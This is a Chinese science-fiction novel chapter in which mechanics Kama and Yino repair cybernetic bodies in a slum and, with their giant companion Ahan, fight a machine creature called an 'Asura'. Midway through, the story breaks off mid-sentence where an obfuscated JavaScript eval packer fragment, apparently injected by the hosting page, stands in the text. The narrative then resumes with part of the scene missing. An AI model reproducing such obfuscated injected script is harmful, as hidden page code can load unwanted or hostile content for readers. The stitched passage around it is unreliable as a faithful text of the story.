“脑部的维修工作……不能委托你们吗?……”光头男人嗫嚅着,随即他鼓起勇气,用恳求的目光望着那女机械师,“能不能……” “脑部的维修非常复杂,仅仅是诊断就需要很久,少的三四个小时,多的甚至需要一星期,我们没有那么多时间。”她的语速低而且快,“况且脑部维修的话至少也需要一个稍微像样的工作室,这里的条件也达不到要求。” “只有真正高水平的机械师才能……”人群中不知从哪里冒出来一个低低的声音。 光头男人狠狠地朝身后的某处瞪去,那声音立即被吞了下去。 光头男人重新转过脸时,他的面前已经出现了一张卡。 “世界集团和摩诃生物机械组织的资深机械师认证,全国只有七个人持有该证书,而这上面写着我擅长的恰恰是脑部。”卡玛将卡片递给他,“这种认证到目前为止还没有假冒的,你可以通过任意一个公共网络进行查证。” “呃……小姐,我相信你……我们没有那样的意思……”光头男人汗涔涔地将卡还给她,“可……可真的不能帮帮忙吗?” 卡玛重新扫了一眼面前的人群,有些人拿着自己断掉的胳膊,还有的被人搀扶着,却少了半截腿,基本上都是躯干和四肢的问题,于是她问: “谁的脑子出了问题?” “是我的孩子……昨天在混乱中不知被什么击中头部,现在昏迷不醒……”光头男人焦急地说。 “用的是什么型号的人造脑?”卡玛问。 “世界集团的那罗辛哈-III型。” “八年前的旧型号了。”一旁的伊诺插嘴道。 “那种型号功能有限,结构倒也不是很复杂……”卡玛自言自语。 听出女机械师的口气有松动,光头男人赶紧哀求道: “只要能让我孩子醒过来,让我为你们做什么都行!我问过那公司,可他们说那种旧型号光诊断费用就要十五万……我实在没这么多钱啊……” “那罗辛哈-III型是第四代系统的第三个复刻版本,由于设计上的微小缺陷,再加上第五代系统开发进展顺利,所以六年前就已经停产了,世界集团的生产线现在都开始逐渐向第八代系统克里希那过渡,要检修起来自然是很费事的。”卡玛说。 “可……可是几年前我女儿得了严重的脑炎,不移植人造脑连性命都保不住,当时只有那种系统啊……”光头男人低声说。 “你的女儿?”卡玛抬起眼看了那男人一眼,“是个女孩子?” 父亲默默地点了点头,旁边有人小心地插了一句: “妮可今年才十二岁啊……” 卡玛低头沉思片刻,之后抬头道: “好吧,带我去看看她。” 伊诺拍拍脑袋,他太了解卡玛了——她可以因为心情不好蹬掉几百万的大Case,但就是见不得这种事情,尤其是一听那女孩还那么小。 凭那位小姐的本事,要修好一个那罗辛哈-III型系统也不过是数小时的事,而这也就意味着在这段时间内其他的工作都得由他一人完成。 “伊诺,那就麻烦你了。”卡玛向自己的搭档挥了挥手,跟着那感激不尽的光头男人去了。 “知道了,知道了。”伊诺黑漆漆的面罩下想必又是张写满抱怨的脸。 …… 那是个很漂亮的小女孩,双手交叠在胸前,静静地躺着,像是个沉睡的小公主。 “妮可,妮可……爸爸找来帮手了,是个很棒的机械师噢……”小女孩的父亲惶惶不安地望着那位年轻的女机械师,“她……她会没事的,对吗?” “她的妈妈呢?”卡玛看了看这间简陋的屋子,并没有发现其他人的踪影。 “三年前走了。”男人的神色黯然,“为了还买那人造脑欠下的债,积劳成疾,为了不拖累我和孩子,不管我们怎么劝,就是不肯去看医生,也拒绝更换身体,后来就……” 卡玛没说什么,来到小女孩身边,检查她的头部。 后脑左侧有很明显的撞击痕迹,轻轻地抚摸着女孩头部的伤,卡玛的神色有些复杂。 “做过记忆备份吗?”她问。 “记忆……备份?” 看着孩子父亲脸上的迷茫,卡玛便暗暗叹了口气。 是很常见的案例:头部遭受较猛烈的冲击,导致人造脑功能障碍。她至少有九成的把握能把这系统恢复正常,然而问题在于受创部位恰好是在那系统的记忆区——记忆区如此重要的功能群组却放在相对更容易受到损害的脑部较浅层——这便是这系统的设计缺陷所在,而孩子的父亲对这些东西又了解得较少,没有定期作记忆备份的概念,那么即使她能让小女孩重新恢复知觉,也无法避免极有可能出现的记忆混乱甚至缺损。 “那……那怎么办?”听了她的解释,孩子的父亲傻了。 “我会在修好这个系统的同时尽可能地保住她的记忆。”见那男人已不知所措,卡玛便安慰道,“不要把事情想得太坏,说不定脑内的记忆群组并没有受到什么损害呢?最坏的情况,莫过于她失去了全部的记忆,可这也总比她永远醒不过来要好些吧。” 孩子的父亲早没了主意,只能机械地点着头。 “把她带到我的车上去,那里有手术台和工具。” 看来只好让阿汉挪挪地方了,卡玛有些无奈地想。 卡玛在车厢里的工作室检修那个小女孩的脑部,伊诺则在车门口为其他人受损的人造肢体更换零件,两人忙碌时,阿汉便安静地呆在一边。 经过阿汉身边的人一个个都小心翼翼,放轻脚步,目不斜视,生怕一不留神便触犯到他——尽管他只是坐在地上发呆而已。 人们惧怕阿汉,主要是因为他的相貌身形。阿汉从卡玛的货柜卡车上走下来时,可以很明显地看出卡车的轮胎受到的压力大大减小,甚至整个车厢都晃动了一下,下车后站直身子,周围的人全都被这个身高两米过外、肩宽体壮的彪形大汉吓得说不出话来。 不仅魁梧壮硕得匪夷所思,阿汉的相貌也凶悍异常,而且脸上没有一点表情,就像一座巨大的冰山。 这个大家伙是练健美的吗?……瞧他身上的肌肉,我的天呀…… 是人造的吧?天然的人类身体有可能这么强壮吗?…… 看上去好可怕,还是不要惹到他比较好…… 带着各种想法,人们聚在离阿汉很远的地方窃窃私语,很快便出现了各种臆想和猜测,比如阿汉可能是个经过全身机械改造的外国雇佣兵,又比如他可能是个被警察通缉的在逃犯什么的。这个地方昨天才经受了可怕的混乱,身心疲惫的人们可再没力气应付什么新的乱子了,那个男的机械师技术果然很好,诊断问题排除故障总是在一眨眼的功夫里完成,更换零件和维修更是快得惊人,仿佛他就是这些人造人体的设计师一样,对其了如指掌,而且收费果然十分低廉,这样的机械师,身边的人按理来说应该也不会太危险吧?…… 两个小时过去,阿汉就这样一直坐在原地动也不动,也没有说过一句话,卡玛抱着那小女孩进了车厢后就没再出来过,伊诺忙得不可开交,似乎已忘记了那巨汉的存在。 忽然,车厢里传出了卡玛的叫声。 “哦,小家伙,不可以跑到这里来,现在我很忙——阿汉,过来一下。” 听到卡玛在叫自己,阿汉立即起身朝卡车走去,见那凶神恶煞的巨人朝卡车这边走来,围在伊诺身边等着接受检修的人们纷纷惊惶地向后退却,其中甚至有小孩哭喊着叫妈妈的声音。伊诺正在修理一个人的手臂,他也被阿汉吓得够呛,可他的胳膊却被固定器卡着,动弹不得,只得一个劲地缩着身子。 “喂,不要乱动,就快弄好了。”伊诺说。 “可……可是……” “可是什么?”伊诺抬起头,摘下工程眼镜,奇怪地看着那人脸上扭曲的表情,“你没事吧?” 阿汉已经来到了卡车车厢门口,充满压迫感的身躯正好堵在那个快要瘫软的人身边。 “他……他……” 巨人胳膊上高耸的二头肌简直跟柚子一般大,看着巨人手臂上条条绽起的粗壮血管,可怜的人几乎快要被吓晕过去, “阿汉?”伊诺恍然大悟,哭笑不得地望着那群躲得远远的人,“唉,有什么好怕的,他只是外表看起来很吓人而已,没有那位小姐的命令,他不会伤害任何生物。”说完站起来举手拍了拍阿汉的肩膀,向旁人证明这个大块头的无害。 “嗯……他的话不多,习惯了就好了。”伊诺笑着说,不过众人似乎并未因为他的解释而轻松多少。 “伊诺,好像当初你第一次见到阿汉的时候,也被吓得不轻呀。”卡玛调侃的声音从车厢里传来,接着她将一个银灰色、毛茸茸的东西扔到阿汉的怀里,“阿汉,把OK看好,别让它再跑到我的工作室里。” 那个毛茸茸的东西在阿汉的臂弯里拱着,同时发出吱吱的叫声。 阿汉面无表情地抱着那只名字叫OK的银貂回到原地,然后以和刚才相同的姿势坐下,银貂在阿汉的身上跳来跳去,而他只是继续沉默地待在那,任由OK玩耍。 “瞧,我说的没错吧?”伊诺继续工作,一边修理一边和他的第十七位顾客闲聊,“昨天这里究竟是怎么搞的?以往那些东西不是只袭击市区吗?” “天知道……”那人好不容易才把注意力从阿汉身上拉回来,安抚了一下心绪,低声对面前的机械师说,“你们来之前警察刚刚搜索过这里,昨天袭击这里的家伙当中还有一个下落不明……要不是这个大块头跟你们在一起,八成就会被当成是那个潜逃的第七人呢——” “可是,听说剩下的那一个在昨晚的激战中也受了重伤,现在大概已没有什么行动力了啊。”伊诺说。 “才怪。”那人哼了一声,“昨晚的战斗里警察根本就没占到便宜,新闻里说是他们击毁了六个,其实根本不是这么回事——他们的重武器只破坏了其中的一个,之后就很快被那些东西毁掉了。”说到这里他压低声音把嘴凑到伊诺耳边,神秘地说,“其实昨天晚上出现的那种东西,不止七个。” “哦?那是怎么回事?”伊诺心头一跳,赶紧追问。 “警察的重武器被毁掉之后,形势就开始一边倒了,就在警察几乎快要撑不住的时候,突然出现了第八个……” “第八个?” “它一出现就毁掉了其中的三个,剩下的三个两个自爆,一个逃走了——这可都是我亲眼看到的!” 这消息可让伊诺大吃一惊,跟新闻上报道的完全不同,若是这消息属实,捅出去的话肯定又会引起种种猜测,关于那种来历不明的武装机械体已有太多的真假难辨的消息,可同类之间互相敌对的说法还是第一次听到。 “第八个……会不会政府研制的东西?”伊诺小心翼翼地问。 “这种事情,你应该比我们这些人更清楚吧?”那人奇怪地反问道,“你不是世界公司的人吗?现在除了你们公司外,还有谁会跟政府合作搞这些东西?” “啊,那……那个……”伊诺干笑两声,“像我这样的,不过是给公司打工而已,哪可能知道那种事……” 嘘……好险好险。 “嗯,说得也是。”那人点了点头,接着又低声说,“不过依我看,就算是上面跟你们公司合作搞秘密研究,也造不出那样的东西——转眼间就把三个那样的东西破坏掉,现在有这么厉害的技术么?” “那你的意思是……” “我知道,那东西跟之前的七个家伙都一样。”那人肯定地说,“他们是‘阿修罗’!” 一听到这三个字,伊诺的心立即砰砰乱跳,没等他开口,那人又继续说了下去: “不光是我,现在大家都是这么想的呀——拥有那么强大恐怖的力量,来无影去无踪,整整十五年,那么多人研究,就是没有一点头绪,人间哪有这么玄的东西?它们到处破坏杀戮,所到之处每次都弄得像地狱一样,根本就是从修罗场走出来的恶鬼啊。” “可是,阿修罗的存在从来就没有得到过验证……”好半天伊诺才慢吞吞地冒出这么一句。 他还是第一次和亲身遭到“阿修罗”袭击的幸存者交谈,想不到自己心中久久以来的猜测会那么直截了当地得到肯定,他理应表示赞同,然后把卡玛从车里拉出来让她好好听听才是,可话到了嘴边却又不知怎的变了,每次当他和卡玛谈到这个话题,卡玛就会这样对他说同样的话。 “哎,这世上有很多事情,是不能用科学解释的。”那人盯着伊诺,“你们外面的人,什么都是新的,但在落后的贫民区,我们还是把以前的习俗给保留了下来,你大概从来没见过供奉天神的庙宇吧?这附近就有一座呢。”说着又努了努嘴,“别看这些人——唔……也包括我在内,都在使用这些高科技的玩意,可脑子里还是传统的想法。” 伊诺当然了解,虽然接触的是最前沿的尖端科技,但他对古老的神话传说也一向很感兴趣,这一点与卡玛完全不同,她是个彻底的现实主义者。关于阿修罗,他和这位接受肢体维修的顾客的想法是完全一样的,然而他知道,没有得到确凿的证据之前,假说依然是假说。 除非他能亲眼见到那东西,并且能够有机会查看它们的内部构造,否则阿修罗论也好,外来文明论也好,政府机密论也好,都不能让他彻底信服。 若是能由他这样的小人物来揭开困扰了全世界长达十五年的谜,想必连卡玛都会对自己刮目相看吧? 呵呵…… “先生?”一只手在他面前晃了晃,“先生?” “哦……哦……对不起……”沉浸在无边幻想中傻笑连连的伊诺回过神来,赶紧继续将注意力集中在目镜下的精密机械上,“嗯,再有五分钟,你的手臂就能运用如初了。” “呃……这位先生……”伊诺耳边忽然又响起一个声音。 “喂,没看到我在工作吗?”伊诺没好气地嚷着,“要接受维修的就去排队!” “对……对不起……我……”那个声音嗫嚅着。 伊诺再次抬头,发觉说话的人原来是那个委托卡玛检修自己女儿脑部的父亲,那个高大的光头男人,刚才和其他人一起被阿汉吓得跑开了,之后见阿汉根本不理睬他们,便又小心翼翼地挪了回来,他一边向那位恼火的机械师道歉,一边伸长脖子朝车厢里张望,不过什么也没看到。 “你女儿不会有事的。”一见是那个坐立不安的父亲,伊诺便放缓了语调,“卡玛是专业级中的专业级,修好那种型号的人造脑对她来说简直易如反掌。” “我……我是担心妮可……” “妮可?” “我女儿。”光头男人低声说。 “是个不错的名字呀。”伊诺点了点头。 父亲忧心忡忡地说,“要是她醒过来,却把一切都忘了,那可该怎么办?……” “没做记忆备份?”伊诺目瞪口呆地望着他,“你女儿是什么时候开始用那个人造脑的?” “从她八岁那年……” “从现在为止,一次记忆备份都没做过?”伊诺吃惊地说,“现在别说是做过脑部手术的了,就连脑子没问题的人也会经常做记忆备份,而且记忆备份的费用也不高啊……” “我们当时有所顾虑,所以就没有……”男人懊悔地说。 “担心记忆备份后被人窥视?”伊诺大摇其头,“确实这种事偶有发生,可和因为其他事故引起的失忆相比也不会高出多少呀。” 况且,又不是什么重要人物,脑子里既没有存中央银行的金库密码,也没有装情报局混在□□里的卧底名单,谁会对来自贫民区的记忆有兴趣?——伊诺暗想,不过这话说出来实在有些伤人,见那男人一脸心乱如麻的样子,还是算了。 “卡玛会尽力保住你女儿的记忆的。”伊诺还是决定安慰安慰他,“要是连她都没法子,就只好用虚拟记忆了。” 看着那男人眼中迷茫的问号,伊诺便解释道: “虚拟记忆就是用人工输入的方式补全残缺的记忆,只要你能提供相关的信息,我们也可以用这种方法尽量恢复你女儿的记忆——当然是要收费的。” “真……真的还有这种技术?”光头男人不敢置信地问。 “是啊。”伊诺点了点头。 “那……那还好……”他大大地出了口气,悬在喉咙口的心总算掉了下来,“请你们一定要帮忙……钱我会拼命想办法的!” 伊诺耸了耸肩,他没说出来的是:这种技术目前还被法令禁止使用,得偷偷摸摸的才行。有人会用这种技术来给他人捏造虚假的记忆,后果比窥视记忆还要严重,只怕这位父亲知道后会感到更加困扰。 双刃剑?是没错啦,可这世上哪有万无一失的东西呢? “好了,这样就应该可以了。”伊诺吁了口气,活动着手指,“来,试着动一动,看看还有什么问题。” 就在他的第十七位顾客一脸欣喜地查看自己的手臂时,远处的街道突然传来了警笛声。 人们回头张望着,同时议论纷纷,不知发生何事。 “哎?怎么了?”那位顾客一边转动手腕一边顺着大家的目光一齐朝前方望去,“好像有很多警车朝这边来了的样子啊。” “警察?”伊诺一听立即脸色大变。 该死!不会是警察接到消息,知道他们在这里做“黑工”了吧? 这怎么可能?就算是这里戒备森严,一路上他们不也顺利通过了重重盘问吗?证件什么的肯定不会有问题,而且根据卡玛和他得到的消息,世界公司今年确实有往这里派遣维修队,他们混在其中,绝对不会露馅的呀。 警笛声越来越近了。 妈的,为了保险起见,还是收拾东西离开这里比较好…… “黑工”在阿什提市是违法的,鉴于人造人体在安全上的特殊性,和技术上的复杂性,未在市政府登记过的机械师私自工作是被禁止的,一旦抓住不仅要永久吊销执照,还有至少五十万以上的罚款和三个月的监禁,更糟糕的是,一旦被警察抓住,很多悬而未解的高科技罪案就很有可能栽到头上,那可不是请个好律师就能解决的问题。 阿什提市里至少有八千名像卡玛和伊诺这样的机械师在做“黑工”,若要算上没有执照的,保守估计也有将近五万人,尽管市民和政府对此都是心照不宣,但一旦被警察逮到,便意味着无穷无尽的麻烦。 伊诺立即起身朝车厢里走去。 “卡玛!” “我在工作,安静点。”卡玛头也不抬地说。 “警察来了。”伊诺压低声音,“也许是冲着我们来的。” “再有一会我就能可以搞定了。”卡玛聚精会神地进行精密操作,“她的情况很乐观,顶多是轻微的记忆损伤。” 见这情景,伊诺便知道除非完成工作,否则卡玛是不会挪动半步的——事实上,现在她也根本无法停下来逃走,小女孩的脑部已被完全打开,最核心的部分也暴露在外,零件散得到处都是,她就好像个已把病人开膛破肚的外科医生一样,怎能说撤就撤? 没办法,只好随机应变了,要实在不行的话…… 也只好叫阿汉动手了。 伊诺正准备下车,突然车外猛地传来一声巨响! 是近距离的爆炸! 他心头一凛,回头望向卡玛,那位女机械师依然全神贯注,似乎压根没听到外面的动静。 他来到车外,印入眼帘的便是耀眼的火光和浓浓黑烟——离他们不到五百米的距离,一栋居民楼中部发生爆炸,在众人骇然的惊呼声中,那栋楼房的上半截摇晃了几下,接着便轰然坍塌下来! “那是我的房子!”有人失声大叫,顾不得自己的肢体还没修好,拖着残缺的腿便想要冲上去,身后几个人赶紧死死地抱住他,他一边挣扎一边破口大骂: “你们这些警察,对付不了那些怪物就炸我们的房子出气吗?!” “哎,快看哪!”有人指着爆炸的方向叫着。 浓烟中,一个黑影猛地蹿起,以极快的速度在空中划出一道弧线,之后落在地上,但随后而来的数十辆警车立即对着那影子猛烈开火,见情况不妙,那黑影立即开始闪躲逃避。 看起来警车出现在此不是为了他们,可这并没有让伊诺放松少许,因为那黑影正以惊人的速度朝他们所在的方向而来! “阿……阿修罗!……”突然人群中爆出一个惊恐的声音。 “是阿修罗!!——” 霎那间,原本等候修理肢体的人们逃得逃,散得散,乱成一团。 伊诺呆呆地凝视着那个飞速接近自己的黑影。 这就是“阿修罗”? 七个被毁掉了六个,剩下一个逃走了,但仍有可能潜伏在贫民区。 这就是……昨晚逃走的那个? 黑影和四散逃跑的人相遇,有个倒霉的被它当场抓住。 “那家伙手中有人质!”警察的声音远远传来。 “救……救……”被那黑影拎到手中的人吓得连喊都喊不出声。 但凡是遇上了“阿修罗”的人,绝对会遭到血腥的屠杀,“阿修罗”毫无怜悯之心,其手段之残忍,简直令人发指,十五年来,还没听说过有谁这样近距离地与“阿修罗”发生接触后还能活下来的。 然而这个“阿修罗”抓住人后却没有立即大开杀戒,而是急切地在那人身上摸索着,像是在寻找什么东西,片刻之后,它倒提着那个已被吓昏过去的人,咔嚓一下把他的左腿拧了下来! 然而腿被拧断后,却没有流血,原来是人造的,奇怪的是,那黑影似乎对这条人造的腿的兴趣更甚于鲜活的人体,将那人随手一丢,接着马上把腿塞进嘴里大嚼。 “伊诺先生,赶快逃吧!” 伊诺感到有人在拉自己,但他没有动,只是目不转睛地盯着那个黑影——当那条腿被重新吐出来之后,伊诺发现里面缺少了“骨骼”,也就是金属的支架部分。 吞噬金属之后,黑影的身体似乎产生了某些变化,接着它环视四周,像是在寻找下一个目标。 直到现在伊诺才突然觉得有些不妙,因为那东西的注意力集中到了他所在的位置。 该死,他们的卡车! 他们的卡车,根本就是这附近最显眼的大铁块! 当意识到这点后,伊诺立即飞快地拉开车门跳进驾驶室。 可已来不及了! 在那黑影扑上来的那一瞬间,伊诺身边的车窗突然被另外一个突然闪出的巨大物体堵住了,没等他反应过来,一个毛茸茸、银灰色的东西已被丢进他的怀里。 “阿汉!”抱住OK,伊诺大叫一声。 那巨人开始采取行动,表明卡玛已对他发号施令了,除了卡玛,阿汉对谁的命令都无动于衷。 但担忧随即涌上心头——阿汉能对付得了那个东西吗?和卡玛合作近两年,伊诺还从未见过这个无时无刻不跟在卡玛身边的大个子战斗的样子,他知道阿汉的力气很大,但对方…… 对方可是传说中的“阿修罗”啊! 见那身材魁伟的巨人拦在自己跟前,黑影立即发动了攻击,它的黑斗篷下闪电般地射出两束黑芒,就像两条锋利的鞭子,经过之处,连地面都被划出深深的沟壑,若是被擦上一下,只怕是强度最大的人造人体也会像奶酪一般被轻而易举地切开。 然而阿汉肩膀一动,便将那两束黑芒紧紧地攥在手里,他的皮手套立即被割成碎片,双手和前臂出现了交错的血痕,但他却依然面无表情,像是丝毫没有感到恐惧或痛苦。 那两束黑芒,仿佛是某种奇特的机械结构,却犹如皮鞭一样柔韧,甚至还有优良的弹性,同时还具备强大的破坏力,此刻它们正像有生命的蛇般死死地缠着阿汉的胳膊。 对峙片刻后,那黑影再度射出四束同样的黑芒,分别缠上了阿汉的脖子,腰身和双腿,随着那强大的力量,阿汉整个人被缓缓地拖向那黑影,情况开始变得对他不利,但这巨人依然毫无惧色。 “它在那儿!” “好,向它开火!” 警车赶到,荷枪实弹的警察立即用各种枪械开始对着那黑影扫射,威力较小的弹头射到那黑影身上便被直接弹开,威力较大的则对它造成了伤害,蓝荧荧的液体从伤处流淌而出,有如“血液”。 也有不少子弹射在了卡车上,伊诺赶紧将车窗关上,所幸卡玛的车通体都有防弹装置。车外的阿汉就没那么好运了,与那黑影一起挨了几发子弹,可子弹扑扑地射在身上,那巨人竟也若无其事。 黑影背后受袭,当即怪叫一声,发动巨力,将阿汉整个人拉到空中,然后把他狠狠地朝那些警车甩了过去。 “小心!——” “阿汉!”伊诺大吃一惊。 轰地一声巨响,阿汉的身躯像一枚炮弹似的摔下来,两辆警车立即被砸扁,挡风玻璃的碎渣和金属碎屑溅了一地,紧接着那黑影又远远地拽着阿汉砸毁了四五辆警车,警察抱头鼠窜,大概做梦也没想到对方还能进行这样的反击。 它松开阿汉,六只机械触手缠上数吨重的装甲车,竟将其整个提到空中,巨大的黑影罩住阿汉,当他用胳膊支撑着身体准备从地上爬起来时,那辆装甲车便呼啸着砸在他的背上。 在四周警察们的惊呼声中,触手又将装甲车提到数十米的高度,再度重重地砸向地面,这次砸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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黑影转过身,死盯着在背后向它开枪的人,刚才的爆炸中它又受了伤,尽管伤口立即开始愈合,但地上还是留下了斑斑点点的蓝色“血迹”。 “你这怪物。”一个戴着面罩,全身漆黑的瘦高男人正费力地拖着一把榴弹枪,一边笨拙地补充弹药,一边龇牙咧嘴地骂着。 卡车的货柜里一直藏着这种危险的暴力道具,显然是给阿汉准备的,因为实在是……实在是太重了! 好处是威力大得吓人——连“阿修罗”那样的东西都能被弄伤;坏处则有两个,一是太重,二是一次只能打一发,卡车里有能连发十二次的,但凭伊诺的力气,根本搬不动那玩意,妈的,他是个机械师,干嘛非要碰这玩意? 咔嚓一声,伊诺装上了第二发子弹,憋着一口气举起枪。 “去死吧。” 咔。 然而这次他的攻击失效了,黑影将触手一挥,便把朝自己迎面而来的榴弹头拨到一边,它的身边再次发生猛烈爆炸,但却未再伤它分毫。紧接着,它的触手前端噌地一下变成了锐利的刀刃状,黑光一闪,以不可思议的迅捷冲那人类的喉咙抹去。 “操。”伊诺呆呆地低声骂道。 这下衰了。 伊诺闭上眼,等着自己被大卸八块,但在下一秒传入耳际的奇异声响过后,他的身体并没有被切成碎片。 他听到了一个熟悉的女性的声音。 “你在这里做什么?” 伊诺睁开一只眼,卡玛正站在他身边。 卡玛举着一只手,五指张开,对着那个黑影,伊诺的脚边多了一只被击断的触手,它像条蟒蛇,不断扭动,断裂之处闪烁着蓝色的光,最后它蜷曲在地上,终止了一切行动——黑影的身上喷出更多的淡蓝色液体,它发出嘶吼,不像是痛苦,更像是愤怒和愕然。 唰—— 另一只触手突然向卡玛袭去! 卡玛眉头一蹙,手心闪出一个蓝色的光球,再次击断了那只触手,机械零件和蓝色液体四射。 “卡玛……”伊诺正想说些什么,却突然大吼一声—— “小心!!” 黑影的另外四只触手从卡玛身后的地面一齐钻出,向她同时发动攻击——谁也没注意到它什么时候将自己的触手扎入了地下,虽然卡玛拥有奇异的能力,伊诺手里有枪,但已来不及了! 伊诺丢了枪,冲上前抱住卡玛,然后飞快转身。 两人朝地面倒下时,伊诺消瘦的身体猛地一颤。 一只机械触手刺入他的背,从他胸前穿出,另外两只触手同时击穿了伊诺的左肩和腰部! “伊诺!”卡玛惊叫一声。 “赶快离开这儿!”伊诺身负重伤,可他的声音却出奇的冷静。 他用尽全力将卡玛向一旁推开,随即他被四只机械触手扯上半空,那黑影狞笑一声,将伊诺的身体扯得四分五裂! 卡玛飞快地爬起,接连躲过了数次机械触手的攻击,她不断运用自己的奇异能力向那个黑影射出蓝色的光弹,虽然并不能给它造成致命的伤害,但卡玛的目的是要让它的注意力远离自己的卡车——妮可还躺在她的工作台上,尽管用薄膜进行了简单的工程封装,但若是卡车车厢被这东西碰到,那光头佬就永远别想听到女儿叫自己爸爸了。 嚓!—— 冷不防一只触手擦到了她的腿,卡玛的嘴角猛地抽动起来。 她半瘫倒在地,伸出双手,聚集起了一个比先前射出的所有光弹加起来还要大的蓝色光球,不顾一切地朝那黑影推了过去。 它完全没料到这个白皮肤的蓝发女孩会完全无视那男人被自己肢解,甚至在躲避它的攻击时还对它有攻击意图,防不胜防的它被卡玛丢出的蓝色光球迎面击中,强烈的冲击令它踉跄着退了好几步,披在身上的黑色斗篷被击碎,露出了它的真正形态——大约有两米多高,类似人形,肩部宽阔,腰身和四肢却细长得不成比例,通体黝黑,全身都是散发着金属光泽的尖锐棱角,它的头上有着一对山羊般的金属犄角,那些可怕的触手从它的背后伸出来,其中两只刚才已被那个拥有神秘力量的女孩击断了。 卡玛全力一击,的确给予对方不小的伤害,但仅凭这一击仍旧不能解决问题,颈部、肩部和胸膛淌满淡蓝色□□的它显然被激怒了,如果不是昨天遇到那种意外,它才不会在无意泄漏踪迹后被摩诃警察追得到处跑,当它吃掉了足够的金属后,愚蠢的警察哪怕出动装甲车它也不放在眼里,可出乎意料的是这一男一女——尤其是这个人类女性,居然给它制造了如此麻烦。 卡玛喘息着,她已消耗了太多力量,现在别说反击,只怕连移动也很困难。 “阿修罗”抬高触手,正打算给她致命一击,突然一只巨大的手抓住了它的肩膀。 它迅速回头,正对上了一双冰冷的蓝色眼瞳。 阿汉浑身都是灰,脸上、脖子上和胸前都在淌血,他的眼睛变得比刚才更蓝,仿佛是两团燃烧的火焰,他面无表情地活动着颈部,然后毫无征兆地对着它的脸上就是一拳! 它竟被那巨人一拳打得飞了出去! 在远处围观的警察全都傻了,片刻之前,那个被砸进地里去的巨人仅用单臂便推开了压在他身上的装甲车,之后在众目睽睽下若无其事地爬起来,径直向那机械怪物走去……经受了那种程度的重击,而他只是受了点皮肉伤! 这连“阿修罗”自己也没想到。 阿汉把它按在地上,它的两只触手卡住那巨人的身躯,另外一只触手则对着他的头部猛击,金属的撞击声异常刺耳,但无论它怎样挣扎,阿汉铁钳似的手一直死死地卡着它的脖子,也许是觉得它张牙舞爪的触手过于碍眼,阿汉三下两下便将它背后剩余的四只触手硬生生扯断了! 在场的所有人都目瞪口呆,只有卡玛例外。她的唇角微微上扬,白皙的脸上挂着浅浅的幸灾乐祸。 她知道阿汉肯定会赢,只是没料到阿汉竟然会如此轻易地取得压倒性的优势。 “阿修罗”发出凄厉的嗥叫,突然它全身蓝光闪烁,剧烈的能量振荡令四周的空气产生了层层波纹。 “它要自爆!”卡玛立即发出命令,“阿汉,毁了它!” 阿汉将“阿修罗”用力抛向高空,接着他的左肩闪出蓝色的光纹,直至蔓延到他的整条左臂,他肩膀和胳膊上的皮肤突然沿着蓝光划出的纹路整齐地“开启”,肌肉以极快的速度分解成纤维后被吸收进躯干,剩下的机械部分经过复杂的拆解与重组后竟在一瞬间变成了—— 变成了一门炮! 阿汉将自己那只变成炮的机械臂高举过头,瞄准了在空中开始不断收缩的“阿修罗”。 “阿修罗”原先两米多高的身躯收缩成一个半径一米左右的球体,在它自爆以前,从阿汉左臂射出的蓝色光束击中了它,空中立即发生爆炸,强劲的气浪在地上卷起狂风,被击毁的“阿修罗”散落了无数碎片,可它们连同地上的机械触手都在极短的时间里化为蓝色的星芒,消失得无影无踪了。 难怪十五年来,在摩诃被毁灭的阿修罗成百上千,却至今也没有一丝头绪——别说是完整的个体,就连一点零星的样本,也都如这般幻化掉,什么也没留下。 “阿汉。”卡玛低声地呼唤那巨人的名字。 阿汉转头望去,当他发现卡玛受了伤,便令手臂恢复了原样,大步走过去,伸出巨掌将她从地上轻轻地扶起来。 “不行。”卡玛摇了摇头,“我的腿使不上力气。” 于是阿汉一言不发地单膝着地,跪在卡玛跟前,让她横卧在自己怀中。 吱……吱吱…… “喂喂!你们别把我忘了呀!” 卡玛和阿汉朝地上一望,只见那只银貂正用鼻子顶着一个圆形的东西来到阿汉脚边。 “OK,不要让我的脸朝下面……”说话的声音来自那个圆形的东西。 像是明白了那个声音的意思,OK又用鼻子对着那东西拱了拱,令其翻了个面—— 顿时伊诺的苦瓜脸出现在他的伙伴们面前。 “喂,卡玛,我今天可真倒霉透了。”身体被“阿修罗”肢解,只剩下头颅的伊诺抱怨着,但他还有心情开玩笑,“哇,阿汉,从我这个角度看,你简直就是座高耸入云的大铁塔耶。” “你该庆幸它没在你的脑门上开洞。”卡玛笑道。 “唏,那有什么,我的记忆一直备份到昨天。”伊诺撇了撇嘴,“哎,我说,你们把我的脑袋从地上捡起来好不好?我的面罩坏掉了……咳……咳咳!这里空气真差……”他夸张地咳嗽着。 阿汉蹲下身,卡玛把伊诺的头颅抱在怀里,OK纵身一窜跳到阿汉肩上。 “伊诺,你身上还有哪些地方是天然的?”阿汉带着大家向卡车走去,卡玛捧着伊诺的头笑着问。 “就只剩这半张脸了。”伊诺答道,“估计再这么来几次,这点皮也得换了——我说,那个家伙好像也没什么了不起的嘛,我这么弱小的人都伤到它了。” “那是我们的守护神力量强大的缘故。”卡玛抬头望着依旧不苟言笑的阿汉,“也许今天遇到的恰好是比较菜的一个。” “卡玛,你刚才说‘守护神’了!”伊诺像是发现了什么,忙不迭地说,“你不自称是坚定的无神论者么?” “我会帮你弄好新的身体,看在你救了我的份上,就收你五百万吧。”卡玛对伊诺的话充耳不闻,“真是的,要不是遇到这种事,妮卡的脑子我早就弄好了。” “你不要岔开话题!”伊诺大叫。 卡玛只是含笑不语。 突然阿汉停下脚步。 在他和那辆货柜卡车之间,突然出现了许多警察。 “别……别动!——”警员向他们喊话,但声音却有些发抖。 卡玛环视四周,发现他们已被大批警察包围了。 “你们想怎么样?”她有些诧异,随后有些不耐烦地问。 “你们……跟那些东西也是一伙的吧?”警长的声音从他们身后传来,见那巨人转身冷冰冰地盯着自己,他不由得后退了两步。 “你们在胡说些什么啊?”伊诺叫道,他就知道卡玛和阿汉一旦动武会引来不必要的麻烦,现在果然被他们撞上了,“如果我们也是‘阿修罗’,刚才我干吗要对它开枪?让它一下子把你们全都收拾了不就好了吗?如果我们也是‘阿修罗’,这个大个子干吗还要跟那东西打?如果……呜……” 卡玛捂住了伊诺的嘴,淡淡地对警长说: 